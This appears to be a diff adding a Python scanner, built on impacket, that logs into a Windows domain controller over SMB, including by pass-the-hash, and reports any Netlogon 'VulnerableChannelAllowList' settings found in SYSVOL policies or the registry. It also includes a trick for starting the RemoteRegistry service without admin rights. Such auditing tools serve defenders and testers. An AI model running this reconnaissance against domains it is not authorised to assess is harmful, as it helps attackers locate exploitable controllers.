||||
|
||||
if debug:
|
||||
logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
|
||||
addSuccessLogLevel(logger)
|
||||
addSuccessLogLevel(root_logger)
|
||||
|
||||
return logger
|
||||
@@ -0,0 +1,42 @@
|
||||
import logging
|
||||
import time
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
|
||||
|
||||
class RegChecker:
|
||||
def __init__(self, conn: SMBConnection):
|
||||
self.logger = logging.getLogger("onelogon")
|
||||
self.conn = conn
|
||||
|
||||
def crawl(self):
|
||||
self.trigger_winreg()
|
||||
try:
|
||||
remoteOps = RemoteOperations(self.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
|
||||
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
|
||||
self.logger.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error while querying registry: {e}")
|
||||
|
||||
def trigger_winreg(self):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = self.conn.connectTree("IPC$")
|
||||
try:
|
||||
self.conn.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
self.logger.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
@@ -0,0 +1,49 @@
|
||||
import contextlib
|
||||
import logging
|
||||
import sys
|
||||
import traceback
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
class SMB:
|
||||
def __init__(self):
|
||||
self.logger = logging.getLogger("onelogon")
|
||||
self.conn = None
|
||||
|
||||
def _createSMBConnection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""):
|
||||
"""Create a SMB connection to the target"""
|
||||
if not domain:
|
||||
with contextlib.suppress(Exception):
|
||||
conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
|
||||
conn.login("", "")
|
||||
domain = conn.getServerDNSDomainName()
|
||||
conn.logoff()
|
||||
conn.close()
|
||||
try:
|
||||
if kerberos:
|
||||
self.conn = SMBConnection(remoteName=dcName, remoteHost=dcIp, sess_port=445)
|
||||
else:
|
||||
self.conn = SMBConnection(remoteName=dcIp, remoteHost=dcIp, sess_port=445)
|
||||
|
||||
if kerberos is True:
|
||||
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dcIp, useCache=False)
|
||||
else:
|
||||
self.conn.login(username, password, domain, lmhash, nthash)
|
||||
if self.conn.isGuestSession() > 0:
|
||||
self.logger.debug("GUEST Session Granted")
|
||||
else:
|
||||
self.logger.debug("USER Session Granted")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
self.logger.error("Failed to establish SMB connection. Exiting...")
|
||||
exit(1)
|
||||
|
||||
def get_smb_connection(self, domain, username, password, dcIp, kerberos=False, dcName="", lmhash="", nthash="", aesKey=""):
|
||||
if not password and not lmhash and not nthash and not aesKey:
|
||||
self.logger.error("Error: At least one of Password, LM Hash, NT Hash or AES Key is required to connect to the SYSVOL Share. Exiting...")
|
||||
sys.exit(1)
|
||||
|
||||
if not self.conn:
|
||||
self._createSMBConnection(domain, username, password, dcIp, kerberos, dcName, lmhash, nthash, aesKey)
|
||||
return self.conn
|
||||
@@ -0,0 +1,76 @@
|
||||
import logging
|
||||
import traceback
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from configparser import ConfigParser
|
||||
|
||||
|
||||
class SysvolParser:
|
||||
def __init__(self, conn: SMBConnection):
|
||||
self.logger = logging.getLogger("onelogon")
|
||||
self.conn = conn
|
||||
self.domain = conn.getServerDNSDomainName()
|
||||
self.share = "SYSVOL"
|
||||
|
||||
def _find_vulnchannellist(self):
|
||||
def output_callback(data):
|
||||
self.gpo_data += data
|
||||
|
||||
found_dacls = []
|
||||
|
||||
policies = self.conn.listPath("SYSVOL", f"{self.domain}/Policies/*")
|
||||
for policy in policies:
|
||||
# Skip "." and ".." directory pointers to avoid path errors
|
||||
if policy.get_longname() in [".", ".."]:
|
||||
continue
|
||||
|
||||
try:
|
||||
self.gpo_data = b""
|
||||
self.conn.getFile("SYSVOL", f"{self.domain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
|
||||
|
||||
try:
|
||||
decoded_data = self.gpo_data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
self.logger.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
|
||||
decoded_data = self.gpo_data.decode("utf-16")
|
||||
|
||||
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
|
||||
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
|
||||
# "WinRM",2,""
|
||||
# which require allow_no_value=True to avoid ParsingError.
|
||||
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
|
||||
config_parser.read_string(decoded_data)
|
||||
|
||||
for section in config_parser.sections():
|
||||
for key, value in config_parser.items(section):
|
||||
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
|
||||
self.logger.debug(f"Found vulnerable channel allow list: {value}")
|
||||
try:
|
||||
# Strip the surrounding double quotes from the extracted string
|
||||
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
|
||||
except Exception as e:
|
||||
self.logger.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
|
||||
except SessionError as e:
|
||||
# Catch and safely ignore expected "file not found" errors for policies without security settings
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
|
||||
pass
|
||||
else:
|
||||
self.logger.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
|
||||
if self.logger.level == logging.DEBUG:
|
||||
traceback.print_exc()
|
||||
|
||||
if found_dacls:
|
||||
self.logger.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
|
||||
for dacl in found_dacls:
|
||||
self.logger.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
|
||||
else:
|
||||
self.logger.error("No matching policies found in SYSVOL Share.")
|
||||
|
||||
def crawl(self) -> tuple[str, int]:
|
||||
try:
|
||||
self._find_vulnchannellist()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error while crawling SYSVOL Share: {e}")
|
||||
if self.logger.level == logging.DEBUG:
|
||||
traceback.print_exc()
|
||||
@@ -0,0 +1,52 @@
|
||||
import argparse
|
||||
import contextlib
|
||||
from pprint import pformat
|
||||
from scanner.lib.regchecker import RegChecker
|
||||
from scanner.lib.smb import SMB
|
||||
from scanner.lib.sysvolparser import SysvolParser
|
||||
from scanner.lib.logger import initLogger
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="onelogon configuration Scanner")
|
||||
parser.add_argument("-v", "--version", action="version", version="Current Version: %(prog)s 2.0")
|
||||
parser.add_argument("--debug", action="store_true", help="Enable debug output")
|
||||
parser.add_argument("-ts", "--timestamp", action="store_true", help="Add timestamp to log messages")
|
||||
|
||||
auth = parser.add_argument_group("Authentication")
|
||||
auth.add_argument("--dc-ip", metavar="", required=True, dest="dcIp", help="IP Address of the domain controller")
|
||||
auth.add_argument("-u", "--username", metavar="", required=True, help="Username to authenticate with")
|
||||
auth.add_argument("-p", "--password", metavar="", help="Password to authenticate with")
|
||||
auth.add_argument("-d", "--domain", metavar="", help="Domain to authenticate with")
|
||||
auth.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication instead of NTLM")
|
||||
auth.add_argument("--dc-name", metavar="", dest="dcName", help="Domain Controller Name to authenticate with, required for Kerberos authentication", required=parser.parse_known_args()[0].kerberos)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
logger = initLogger(ts=args.timestamp, debug=args.debug)
|
||||
logger.debug("Passed args:\n" + pformat(vars(args)))
|
||||
|
||||
smb = SMB()
|
||||
conn = smb.get_smb_connection(
|
||||
domain=args.domain,
|
||||
username=args.username,
|
||||
password=args.password,
|
||||
dcIp=args.dcIp,
|
||||
kerberos=args.kerberos,
|
||||
dcName=args.dcName
|
||||
)
|
||||
if not conn:
|
||||
logger.error("Failed to establish SMB connection. Exiting...")
|
||||
return
|
||||
scanner = SysvolParser(conn)
|
||||
scanner.crawl()
|
||||
regchecker = RegChecker(conn)
|
||||
regchecker.crawl()
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
conn.logoff()
|
||||
conn.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user